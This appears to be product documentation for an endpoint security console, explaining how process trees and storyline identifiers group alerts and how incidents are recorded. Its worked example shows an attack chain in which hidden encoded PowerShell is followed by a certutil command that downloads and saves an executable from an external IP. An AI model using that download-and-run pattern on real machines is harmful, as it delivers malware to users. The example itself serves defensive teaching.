Incidents and the process tree
How separate endpoint alerts become one story, how the process tree is rebuilt, which fields it carries, how to read one — and where to open it in the console.
An endpoint alert tells you a rule fired. It does not tell you what happened, and those are different questions. powershell.exe ran an encoded command on WKS-014 is true, unhelpful, and the point at which most people either call somebody or decide to hope. This article is about the thing that answers the next question: what did this actually do, and where did it come from.
Two mechanisms do that work and they are easy to confuse, so the honest version first. The process tree groups related activity automatically, and it is the mechanism that answers the question. An incident is a container you create by hand to hold several alerts together. There is no automatic correlation of alerts into incidents in the endpoint module today.
Why a process ID is not an identity
Every running program on a machine has a process ID — a number, usually four or five digits. It is the obvious thing to key a tree on, and it does not work. Process IDs are recycled: a machine that has been up for a week will have handed the same number out repeatedly, so pid 4812 means nothing without knowing which 4812 you mean. Two machines using the same number is routine.
So the sensor derives its own identity for each process instance, called a process GUID. It is a SHA-256 digest of three things — the hostname, the process ID and the exact start time in nanoseconds — truncated to sixteen bytes.
process_guid = sha256( hostname | pid | start_time_ns )[:16]Hashing in the start time makes it unique per instance, so a recycled process ID produces a different GUID. Hashing in the hostname makes it unique across your whole fleet, so the server can join a child's recorded parent to the parent's own record without needing a separate namespace per machine. It is derived on the endpoint and can be re-derived on the server, so the two agree without either trusting the other's bookkeeping.
One value that holds a whole intrusion
Parent-to-child links give you a tree. The second idea is what makes it usable: every process inherits a storyline_id from its parent, and the value is the GUID of the tree's root. Everything descended from one original process — however many generations deep — carries the same string.
That turns "show me the whole story" from a graph traversal into a single lookup on one indexed value. It also means every alert raised anywhere in that tree shares one identifier, so "every alert on this intrusion" is one query rather than an exercise in pattern-spotting. The storyline_id is a field on the alert itself and is filterable in threat hunting.
The reconstruction logic — walking ancestors, walking descendants, handling the awkward cases — is written as pure functions with no database involved, specifically so the difficult situations can be tested against fixtures. The cases that are easy to get wrong are named in the source: a recycled process ID, a parent whose record arrives after its children, and a cycle in the parent linkage. There is one implementation of that logic, not a tested one and a shipped one.
What the tree shows you
Each node in the tree carries the following. Most of it is self-explanatory; three fields are worth reading the note for.
| Field | What it tells you |
|---|---|
process_guid | The stable identity of this one process instance. |
parent_process_guid | Its parent. Omitted entirely when the parent is unknown. |
storyline_id | The shared value for every process in this story. |
process_name | The image basename — powershell.exe, bash, soffice.bin. |
image_path | The full path the executable was loaded from. Read this rather than the name; a file called svchost.exe in a Downloads folder is not svchost.exe. |
command_line | The full command, including arguments. Truncated at 8,192 bytes when stored. |
user_name | The account the process ran as. The difference between a user and a service account here is often the whole finding. |
pid, ppid | The raw process IDs, for cross-referencing against anything else you are looking at. |
session_id | The terminal-services session, where the platform has one. |
platform, hostname | Which machine, and which operating system. |
start_time, end_time | When it started and stopped. An empty end_time means it was still running when last observed. |
parent_observed | False when the parent was never seen. See below — this is the honesty field. |
relation | self, ancestor or descendant, relative to the process you opened the tree from. |
depth | Negative for ancestors, 0 for the process you focused on, positive for descendants. |
Alongside the nodes, the tree carries activity — what a process did other than start other processes. Each entry has an activity type, a target, a detail and a timestamp, attributed to a process GUID where the sensor could work out which process was responsible.
One further limitation, stated in the sensor's own source: file activity records that a burst of files changed, not which process changed them. Attribution of ransomware to a specific program comes from correlating the process tree, not from the file events themselves.
A worked example
An alert arrives at 09:41 on WKS-014, from the rule behav-t1059-office-spawned-interpreter, severity critical. On its own, that sentence supports two actions: ignore it, or panic. The tree behind it holds this.
depth relation process command line (truncated for reading)
-2 ancestor explorer.exe C:\Windows\explorer.exe
-1 ancestor OUTLOOK.EXE /recycle
0 self WINWORD.EXE "C:\Users\jbaker\AppData\Local\...\Invoice_8841.doc"
1 descendant powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3...
2 descendant certutil.exe -urlcache -split -f http://45.**.**.**/a.png a.exe
3 descendant a.exe C:\Users\jbaker\AppData\Local\Temp\a.exe
storyline_id 7f3c9a10c4b28e55
user_name CONTOSO\jbaker
hostname WKS-014Read it from the top. The chain begins with the desktop shell, then Outlook, then Word opening a document from a temporary folder — which is where a mail client puts an attachment somebody double-clicked. That is the answer to how did this start, and it is a different answer from somebody browsed to a bad website. It changes who you talk to and what you tell them.
Below the focus, three generations. PowerShell launched hidden with an encoded command. Then certutil.exe — a signed Microsoft certificate utility, entirely legitimate, being used here to download a file that is called a.png and saved as a.exe. Then that file running. Each of those is a separate rule firing (behav-t1059-encoded-powershell, behav-t1105-lolbin-download-exec), and because all three processes descend from one root, all three alerts carry the same storyline_id.
So the question what did this actually do now has an answer you can act on: a user opened an emailed document, which fetched and ran a program from an external address, as that user, on that machine, at that time. You know the account to reset, the machine to contain, and the file path to collect. You also know something the alert did not tell you — that the same email may have gone to other people, which is a question for your mail security rather than for this module.
Activity entries, where the sensor could attribute them, sit alongside the nodes: which files a.exe created or modified, with the extension, size and entropy of each. That is where a ransomware story becomes visible as a shape rather than as a single alert.
How a tree is requested
The API serves a tree from two starting points, because people arrive from two directions, and both return the same structure so the result is identical either way.
- From an alert — something fired, show me what happened. This is the common case, and the alert carries the identifiers the request needs.
- From a process — you found something odd and want its story. This one needs the sensor and the process GUID.
Both are gated on permission to read alerts. That is deliberate: the story is alert context, and an analyst who can see an alert but not what produced it cannot act on it, which makes the alert decorative.
The first of those is what the incident Details dialog calls. The second — a tree straight from a hunt result or from a single endpoint alert — is not a button yet: from a hunt, filter on storyline_id, then open the incident it belongs to. If you need a tree the console does not draw, the API answers, or ask us — see How to get help.
The plumbing underneath is sound and worth knowing about, because it is what makes the view straightforward whenever it arrives. The process node is written to the database before the alert is raised, not after, so an alert never points at a story that does not exist yet. The tree slice is then stamped onto the alert record itself, rather than being fetched hopefully at read time.
In the meantime, the reachable version of the same idea is the storyline_id. It is a field on the alert and it is filterable in threat hunting, so every alert belonging to this one story is a query you can actually run in the console today. You get the set of alerts rather than the drawn tree, which is less than the tree and considerably more than one alert on its own.
Incidents: the container you create
An incident in the endpoint module is a record you create, with a title, a description, a severity and a list of alert identifiers to attach. Every alert you attach is checked to make sure it belongs to your organisation before it is linked. It is a case file, and it is only as good as the discipline of the person keeping it.
| Object | Statuses |
|---|---|
| Endpoint incident | open, investigating, contained, resolved, closed. The last two record when they were set. |
| Endpoint alert | open, acknowledged, resolved, false_positive. There is no new, and this list is deliberately shorter than the one SIEM alerts use. |
Moving an incident into resolved or closed is not a status dropdown you flip quietly. Choosing Resolve on an incident asks for an Outcome — resolved, meaning the threat was handled, or closed, meaning no further action, such as a confirmed false positive — and a Reason, which is required and is not a formality: the field expects something like False positive — signed vendor updater or Host reimaged, credentials rotated, and refuses to submit with nothing in it. That reason is written to the incident's timeline and to the audit log, and is what anyone reading the incident later — including you, in three months, having forgotten the details — actually sees explaining why it was closed.
An incident timeline exists as a structure, with entry types for an alert being added, a status changing, a response being executed, a comment and an escalation. Its population is partial: the table and the types are real, and resolving or closing an incident now reliably writes the status change and your reason into it, but filling in every other transition is still listed in our own baseline document as a recommended next step rather than as completed work. Treat the timeline as reliable for the resolve/close moment specifically, and as a place other notes may appear rather than a complete audit record for everything in between. The audit records you can rely on for everything are the hash-chained ones covered in Live response and approval.
In the meantime, the practical way to work is to use the storyline as the grouping and the incident as the write-up. Take the storyline_id from any one alert, list every alert carrying it, attach them all to one incident, and put the tree in the description. That is a defensible record of one intrusion and it takes about two minutes.
What to do next
- The next time an endpoint alert arrives, take its
storyline_idand hunt for every other alert carrying the same value before you do anything else. That is the closest thing to opening the story that the console offers today. What to do when an alert arrives covers the general triage order. - Read Threat hunting — filtering on
storyline_idis the single most useful hunt a non-specialist can run, and with no process-tree panel in the console it is currently the main one. - Read Response actions before you need one, so the first time you approve something is not the first time you have read what it does.